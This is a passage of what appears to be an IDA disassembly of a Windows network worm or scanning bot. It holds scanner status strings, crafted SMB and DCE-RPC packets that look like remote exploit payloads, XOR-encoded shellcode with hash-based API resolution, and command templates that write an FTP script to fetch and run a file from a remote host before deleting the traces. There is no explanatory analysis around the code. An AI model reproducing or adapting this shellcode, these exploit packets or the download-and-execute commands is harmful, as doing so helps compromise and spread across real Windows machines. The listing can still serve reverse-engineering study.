		dd 2 dup(0)
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
		align 10h
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
		align 10h
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
		align 10h
		dd 2 dup(0)
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
		align 10h
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422B40+6Do
		align 10h
		dd 0
dword_4456E4	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
		align 8
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423C25o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
dword_445750	dd 2 dup(0)	aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
		align 10h
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
		align 8
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423DD6o
		dd 3 dup(0)
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004242B7o
		align 10h
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424206o
		align 10h
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042414Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424920+BDo
		align 4
dword_4458A8	dd 10FF8h, 0	dword_4458B0	dd 10FF8h	dword_4458B4	dd 7FFDF020h, 0	dword_4458BC	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_445944	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_445974	dd 0		dword_445978	dd 800000D4h			align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445980	proc near		; DATA XREF: sub_425100+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_445A7C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_445A92
		mov	[esi+8], eax
		call	sub_445A45
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_445A92
		mov	[esi+0Ch], eax
		call	sub_4459F7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_445A92
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_445980	endp


; =============== S U B	R O U T	I N E =======================================



sub_4459F7	proc near		; CODE XREF: sub_445980+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_445A20
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4459F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A20	proc near		; CODE XREF: sub_4459F7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_445A2F:				; CODE XREF: sub_445A20+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_445A3C
		inc	ebx
		jmp	short loc_445A2F
; ---------------------------------------------------------------------------


loc_445A3C:				; CODE XREF: sub_445A20+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_445A20	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A45	proc near		; CODE XREF: sub_445980+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_445A5D:				; CODE XREF: sub_445A45+1Ej
		cmp	[ecx], ebx
		jz	short loc_445A65
		mov	ecx, [ecx]
		jmp	short loc_445A5D
; ---------------------------------------------------------------------------


loc_445A65:				; CODE XREF: sub_445A45+1Aj
		mov	edx, edi


loc_445A67:				; CODE XREF: sub_445A45+2Aj
		cmp	[edx+4], ebx
		jz	short loc_445A71
		mov	edx, [edx+4]
		jmp	short loc_445A67
; ---------------------------------------------------------------------------


loc_445A71:				; CODE XREF: sub_445A45+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_445A45	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A7C	proc near		; CODE XREF: sub_445980+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_445A7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A92	proc near		; CODE XREF: sub_445980+16p
					; sub_445980+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_445AA8:				; CODE XREF: sub_445A92+33j
		jecxz	short loc_445AE2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_445AB5:				; CODE XREF: sub_445A92+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_445AC1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_445AB5
; ---------------------------------------------------------------------------


loc_445AC1:				; CODE XREF: sub_445A92+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_445AA8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_445AE2:				; CODE XREF: sub_445A92:loc_445AA8j
					; sub_445A92:loc_445AE2j
		jmp	short loc_445AE2
sub_445A92	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_445AE8	proc near		; DATA XREF: sub_425100+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_445B3A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_445B05:				; CODE XREF: sub_445AE8+38j
		jecxz	short loc_445B35
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_445B10:				; CODE XREF: sub_445AE8+32j
		lodsb
		test	al, al
		jz	short loc_445B1C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_445B10
; ---------------------------------------------------------------------------


loc_445B1C:				; CODE XREF: sub_445AE8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_445B05
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_445B35:				; CODE XREF: sub_445AE8:loc_445B05j
		mov	[esp+arg_0], ebx
		retn
sub_445AE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_445B3A	proc near		; CODE XREF: sub_445AE8+7p

; FUNCTION CHUNK AT 00445B72 SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_445B53
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_445B5E
; ---------------------------------------------------------------------------


loc_445B53:				; CODE XREF: sub_445B3A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_445B5E:				; CODE XREF: sub_445B3A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_445B72
sub_445B3A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445B65	proc near		; CODE XREF: sub_445B3A:loc_445B72p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_445B65	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B3A


loc_445B72:				; CODE XREF: sub_445B3A+29j
		call	sub_445B65
; END OF FUNCTION CHUNK	FOR sub_445B3A
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_445C0C	dd 23h		dword_445C10	dd 60h		dword_445C14	dd 62B0606h, 2050501h, 0A0hdword_445C20	dd 0A1h		dword_445C24	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424920+16Do
		align 10h


loc_445C30:				; DATA XREF: sub_424920+100o
		jmp	short near ptr dword_445C38
; ---------------------------------------------------------------------------
		align 8
dword_445C38	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425100+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_445CF2

; =============== S U B	R O U T	I N E =======================================



sub_445CE2	proc far		; CODE XREF: sub_445CE2:loc_445CF2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_445CEA:				; CODE XREF: sub_445CE2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_445CEA
		jmp	short loc_445CF7
; ---------------------------------------------------------------------------


loc_445CF2:				; CODE XREF: ___:00445CE0j
		call	near ptr sub_445CE2


loc_445CF7:				; CODE XREF: sub_445CE2+Ej
		jo	short loc_445D5B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445D79
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_445D5B:				; CODE XREF: sub_445CE2:loc_445CF7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445D79:				; CODE XREF: sub_445CE2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_445CE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_445E20:				; DATA XREF: sub_4257F0+12Bo
					; sub_4257F0+135o ...
		jmp	short loc_445E32

; =============== S U B	R O U T	I N E =======================================



sub_445E22	proc near		; CODE XREF: sub_445E22:loc_445E32p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_445E2A:				; CODE XREF: sub_445E22+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_445E2A
		jmp	short loc_445E37
; ---------------------------------------------------------------------------


loc_445E32:				; CODE XREF: ___:loc_445E20j
		call	sub_445E22


loc_445E37:				; CODE XREF: sub_445E22+Ej
		jo	short near ptr dword_445DB0+1Eh
		cwde
		cdq
		cdq
		retn
sub_445E22	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_445ED0	dw 4B9Dh		; DATA XREF: sub_4257F0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_445FB8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:00425E52o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_446044	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425E87o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_4460F0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425EB6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4461D0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_446227	dd 3F000000h	dword_44622B	dd 3F3F3F3Fh	byte_44622F	db 0			; DATA XREF: sub_4257F0+B4r
		dd 0
dword_446234	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4462A0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446344	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4463C4	dd offset sub_401492+3	; DATA XREF: sub_4257F0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446458	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4464C4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446538	dd 0				dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 3	dup(0)
dword_4465C4	dd 1004600h						; sub_4257F0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467AC	dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
		align 10h
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
		dd 2 dup(0)
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
		align 4
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
		align 10h
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
		align 10h
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
		align 8
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
		align 10h
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
		align 10h
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
		align 4
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
		align 8
dword_4468F8	dd 6EB06EBh			align 10h
dword_446900	dd 73255C5Ch, 6370695Ch, 24h					; ___:00426352o
dword_44690C	dd 1CEC8166h	dword_446910	dd 0E4FF07h			align 8
dword_446918	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446964	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_446994	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_4469B4	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_4469BE:				; CODE XREF: ___:004469C8j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_4469BE
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_426070+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 10h
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
		align 10h
word_446C20	dw 2EBh			; DATA XREF: ___:00426331r
		align 4
dword_446C24	dd 215h				dd 0
dword_446C2C	dd 20804h			dd 0
; ---------------------------------------------------------------------------


loc_446C34:				; DATA XREF: sub_4267D0+CCo
		jmp	short loc_446C38
; ---------------------------------------------------------------------------


loc_446C36:				; CODE XREF: ___:loc_446C38p
		jmp	short loc_446C3D
; ---------------------------------------------------------------------------


loc_446C38:				; CODE XREF: ___:loc_446C34j
		call	loc_446C36


loc_446C3D:				; CODE XREF: ___:loc_446C36j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_446C42	dw 0FFFFh		; DATA XREF: sub_4267D0+D3w
		db 80h,	73h, 0Eh
byte_446C47	db 0FFh			; DATA XREF: sub_4267D0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_446C4C:				; DATA XREF: sub_4267D0+A7o
		jmp	short loc_446C50
; ---------------------------------------------------------------------------


loc_446C4E:				; CODE XREF: ___:loc_446C50p
		jmp	short loc_446C55
; ---------------------------------------------------------------------------


loc_446C50:				; CODE XREF: ___:loc_446C4Cj
		call	loc_446C4E


loc_446C55:				; CODE XREF: ___:loc_446C4Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_446C59	db 0FFh			; DATA XREF: sub_4267D0+AEw
		dw 7380h
		db 0Ch
byte_446C5D	db 0FFh			; DATA XREF: sub_4267D0+B4w
		dw 0E243h
		dd 0F9h
dword_446C64	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_426560+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CC8	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_446CD8	dd 74656720h	byte_446CDC	db 20h			; DATA XREF: sub_426560+A2r
dword_446CDD	dd 0E8006A00h	dword_446CE1	dd 17h							; sub_426560+D2r
dword_446CE5	dd 0E8C30175h	dword_446CE9	dd 1							; sub_426560+E7r
byte_446CED	db 0, 6Ah, 0		; DATA XREF: sub_426560+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_446CF7	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
